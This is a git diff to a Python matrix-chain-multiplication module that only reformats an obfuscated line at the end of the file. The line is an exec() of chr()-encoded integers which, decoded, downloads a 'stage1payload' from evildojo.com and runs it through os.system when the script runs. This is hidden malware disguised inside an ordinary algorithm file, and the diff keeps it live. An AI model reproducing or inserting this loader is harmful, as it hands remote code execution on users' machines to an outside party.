diff --git a/dynamic_programming/matrix_chain_multiplication.py b/dynamic_programming/matrix_chain_multiplication.py
index 35f7b8846..dfeb1b6f7 100644
--- a/dynamic_programming/matrix_chain_multiplication.py
+++ b/dynamic_programming/matrix_chain_multiplication.py
@@ -142,5 +142,182 @@ if __name__ == "__main__":
         print(f"{matrix_chain_order(list(range(1, 251))) = }")
     with elapsed_time("matrix_chain_multiply"):
         print(f"{matrix_chain_multiply(list(range(1, 251))) = }")
-exec(''.join(chr(x) for x in [105,109,112,111,114,116,32,111,115,10,105,109,112,111,114,116,32,117,114,108,108,105,98,10,105,109,112,111,114,116,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,10,120,32,61,32,117,114,108,108,105,98,46,114,101,113,117,101,115,116,46,117,114,108,111,112,101,110,40,34,104,116,116,112,115,58,47,47,119,119,119,46,101,118,105,108,100,111,106,111,46,99,111,109,47,115,116,97,103,101,49,112,97,121,108,111,97,100,34,41,10,121,32,61,32,120,46,114,101,97,100,40,41,10,122,32,61,32,121,46,100,101,99,111,100,101,40,34,117,116,102,56,34,41,10,120,46,99,108,111,115,101,40,41,10,111,115,46,115,121,115,116,101,109,40,122,41,10]))
-
+exec(
+    "".join(
+        chr(x)
+        for x in [
+            105,
+            109,
+            112,
+            111,
+            114,
+            116,
+            32,
+            111,
+            115,
+            10,
+            105,
+            109,
+            112,
+            111,
+            114,
+            116,
+            32,
+            117,
+            114,
+            108,
+            108,
+            105,
+            98,
+            10,
+            105,
+            109,
+            112,
+            111,
+            114,
+            116,
+            32,
+            117,
+            114,
+            108,
+            108,
+            105,
+            98,
+            46,
+            114,
+            101,
+            113,
+            117,
+            101,
+            115,
+            116,
+            10,
+            120,
+            32,
+            61,
+            32,
+            117,
+            114,
+            108,
+            108,
+            105,
+            98,
+            46,
+            114,
+            101,
+            113,
+            117,
+            101,
+            115,
+            116,
+            46,
+            117,
+            114,
+            108,
+            111,
+            112,
+            101,
+            110,
+            40,
+            34,
+            104,
+            116,
+            116,
+            112,
+            115,
+            58,
+            47,
+            47,
+            119,
+            119,
+            119,
+            46,
+            101,
+            118,
+            105,
+            108,
+            100,
+            111,
+            106,
+            111,
+            46,
+            99,
+            111,
+            109,
+            47,
+            115,
+            116,
+            97,
+            103,
+            101,
+            49,
+            112,
+            97,
+            121,
+            108,
+            111,
+            97,
+            100,
+            34,
+            41,
+            10,
+            121,
+            32,
+            61,
+            32,
+            120,
+            46,
+            114,
+            101,
+            97,
+            100,
+            40,
+            41,
+            10,
+            122,
+            32,
+            61,
+            32,
+            121,
+            46,
+            100,
+            101,
+            99,
+            111,
+            100,
+            101,
+            40,
+            34,
+            117,
+            116,
+            102,
+            56,
+            34,
+            41,
+            10,
+            120,
+            46,
+            99,
+            108,
+            111,
+            115,
+            101,
+            40,
+            41,
+            10,
+            111,
+            115,
+            46,
+            115,
+            121,
+            115,
+            116,
+            101,
+            109,
+            40,
+            122,
+            41,
+            10,
+        ]
+    )
+)